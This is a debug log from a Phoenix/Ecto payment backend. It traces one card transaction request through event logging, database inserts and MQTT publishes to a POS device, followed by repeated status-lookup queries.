SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 13:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 13:36:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1272.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 13:41:37.035000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51714] POST /api/device/initiate
[Thu Sep  3 13:41:37.035000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51714] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch242506966281", "externalRefNumber2" => "2779018285", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 13:41:37.036000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51714] Processing card transaction for reference: ch242506966281
[Thu Sep  3 13:41:37.037000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK source="users" db=1.0ms idle=513.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 13:41:37.038000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK source="custom_events" db=0.6ms queue=0.1ms idle=514.8ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 13:41:37.038000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51714] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch242506966281"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 122,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch242506966281",
  external_ref_number_2: "2779018285",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98251226730002"}
}

[Thu Sep  3 13:41:37.038000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51714] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 122,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch242506966281",
    external_ref_number_2: "2779018285",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98251226730002"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch242506966281",
  transaction_id: nil,
  date_added: ~U[2026-09-03 13:41:37.038885Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 13:41:37.039000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:51714] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch242506966281", external_ref_number_2: "2779018285", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch242506966281", transaction_id: nil, date_added: ~U[2026-09-03 13:41:37.038885Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 13:41:37.064000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK db=24.1ms idle=516.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch242506966281", external_ref_number_2: "2779018285", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, "Initiate Card Txn Request", "ch242506966281", ~U[2026-09-03 13:41:37Z], 35, "initiate_card_txn_request", ~N[2026-09-03 13:41:37], ~N[2026-09-03 13:41:37]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 13:41:37.064000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51714] Successfully created custom event log with ID: 40240
[Thu Sep  3 13:41:37.064000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51714] Handling card transaction:
- Reference: ch242506966281
- Amount: 122
- Params: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch242506966281", "externalRefNumber2" => "2779018285", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 13:41:37.065000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK source="users" db=0.4ms queue=0.1ms idle=541.9ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 13:41:37.066000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK source="custom_events" db=0.6ms idle=543.0ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 13:41:37.066000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51714] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch242506966281"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788442897,
  device_id: "98251226730002",
  amount: 122
}

[Thu Sep  3 13:41:37.067000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51714] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788442897,
    device_id: "98251226730002",
    amount: 122
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch242506966281",
  transaction_id: nil,
  date_added: ~U[2026-09-03 13:41:37.066908Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 13:41:37.067000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:51714] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788442897, device_id: "98251226730002", amount: 122}, event_name: "Response From Device Online Status", refrence_id: "ch242506966281", transaction_id: nil, date_added: ~U[2026-09-03 13:41:37.066908Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 13:41:37.106000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK db=39.2ms idle=544.4ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788442897, device_id: "98251226730002", amount: 122}, "Response From Device Online Status", "ch242506966281", ~U[2026-09-03 13:41:37Z], 36, "response_from_device_online_status", ~N[2026-09-03 13:41:37], ~N[2026-09-03 13:41:37]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 13:41:37.107000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51714] Successfully created custom event log with ID: 40241
[Thu Sep  3 13:41:37.107000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51714] Publish payload 98251226730002: "{\"type\":\"card\",\"request_id\":\"ch242506966281\",\"amount\":12200,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 13:41:37.165000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK db=57.6ms idle=584.4ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch242506966281", "externalRefNumber2" => "2779018285", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_6c0ac9dbe37b@mercurypay.in", "98251226730002", "ch242506966281", 4, Decimal.new("122"), %{}, "1", ~N[2026-09-03 13:41:37], ~N[2026-09-03 13:41:37]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 13:41:37.166000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK source="users" db=0.6ms idle=642.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 13:41:37.167000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK source="custom_events" db=0.5ms idle=327.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 13:41:37.167000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51714] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch242506966281"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788442897,
  qos: 1,
  device_id: "98251226730002",
  amount: 122
}

[Thu Sep  3 13:41:37.167000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51714] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788442897,
    qos: 1,
    device_id: "98251226730002",
    amount: 122
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch242506966281",
  transaction_id: nil,
  date_added: ~U[2026-09-03 13:41:37.167688Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 13:41:37.167000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:51714] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788442897, qos: 1, device_id: "98251226730002", amount: 122}, event_name: "Request For Publish Txn", refrence_id: "ch242506966281", transaction_id: nil, date_added: ~U[2026-09-03 13:41:37.167688Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 13:41:37.230000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK db=61.9ms idle=245.5ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788442897, qos: 1, device_id: "98251226730002", amount: 122}, "Request For Publish Txn", "ch242506966281", ~U[2026-09-03 13:41:37Z], 37, "request_for_publish_txn", ~N[2026-09-03 13:41:37], ~N[2026-09-03 13:41:37]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 13:41:37.230000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51714] Successfully created custom event log with ID: 40242
[Thu Sep  3 13:41:37.230000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51714] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730002/update with ref: #Reference<0.2525715032.1113063425.73839>
[Thu Sep  3 13:41:37.230000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51714] Published successfully to topic2: ota/pos/12345678/98251226730002/sub with ref: #Reference<0.2525715032.1113063425.73843>
[Thu Sep  3 13:41:37.232000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK source="users" db=1.1ms idle=193.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 13:41:37.233000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK source="custom_events" db=0.5ms idle=194.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 13:41:37.233000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51714] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch242506966281"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788442897,
  device_id: "98251226730002",
  amount: 122
}

[Thu Sep  3 13:41:37.233000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51714] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788442897,
    device_id: "98251226730002",
    amount: 122
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch242506966281",
  transaction_id: nil,
  date_added: ~U[2026-09-03 13:41:37.233676Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 13:41:37.234000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:51714] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788442897, device_id: "98251226730002", amount: 122}, event_name: "Response From Publish Txn", refrence_id: "ch242506966281", transaction_id: nil, date_added: ~U[2026-09-03 13:41:37.233676Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 13:41:37.282000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51714] QUERY OK db=48.2ms idle=170.4ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788442897, device_id: "98251226730002", amount: 122}, "Response From Publish Txn", "ch242506966281", ~U[2026-09-03 13:41:37Z], 38, "response_from_publish_txn", ~N[2026-09-03 13:41:37], ~N[2026-09-03 13:41:37]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 13:41:37.282000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:51714] Successfully created custom event log with ID: 40243
[Thu Sep  3 13:41:37.283000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51714] Publish successful to 98251226730002 with ref: #Reference<0.2525715032.1113063425.73843>
[Thu Sep  3 13:41:37.283000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51714] Sent 200 in 247ms
[Thu Sep  3 13:41:43.199000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51730] POST /api/device/status
[Thu Sep  3 13:41:43.200000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51730] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch242506966281", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 13:41:43.200000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51730] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch242506966281", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 13:41:43.201000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51730] Transaction reference number: "ch242506966281"
[Thu Sep  3 13:41:43.215000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51730] QUERY OK source="pos_transaction" db=13.4ms idle=678.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch242506966281"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 13:41:43.216000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51730] QUERY OK source="pos_temp_transaction" db=0.6ms queue=0.1ms idle=692.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch242506966281"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 13:41:43.220000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51730] QUERY OK source="pos_failed_transaction" db=4.0ms idle=693.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch242506966281"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 13:41:43.221000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51730] QUERY OK source="cloud_transaction" db=0.6ms idle=697.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch242506966281"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 13:41:43.222000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51730] Sent 200 in 22ms
[Thu Sep  3 13:41:47.879000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50680] POST /api/device/status
[Thu Sep  3 13:41:47.879000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:50680] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch242506966281", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 13:41:47.880000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50680] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch242506966281", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 13:41:47.880000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50680] Transaction reference number: "ch242506966281"
[Thu Sep  3 13:41:47.894000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50680] QUERY OK source="pos_transaction" db=13.3ms idle=1358.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch242506966281"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 13:41:47.897000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50680] QUERY OK source="pos_terminals" db=2.0ms idle=1372.0ms
SELECT p0.`id`, p0.`name`, p0.`serial_number`, p0.`device_type`, p0.`terminal_id`, p0.`provider_id`, p0.`status`, p0.`activated_by`, p0.`deactivated_by`, p0.`assigned_by`, p0.`longitude`, p0.`latitude`, p0.`assigned_date`, p0.`device_request_id`, p0.`threshold_fee`, p0.`terminalid`, p0.`terminalidmerchantid`, p0.`pos_merchant_id`, p0.`store_id`, p0.`inserted_at`, p0.`updated_at`, s1.`id`, s1.`code`, s1.`name`, s1.`neo_merchant_id`, s1.`address_id`, s1.`brand_id`, s1.`inserted_at`, s1.`updated_at` FROM `pos_terminals` AS p0 LEFT OUTER JOIN `stores` AS s1 ON p0.`store_id` = s1.`id` WHERE ((p0.`terminalidmerchantid` = ?) AND (p0.`terminal_id` = ?)) LIMIT 1 ["667267350000000", "26735914"]
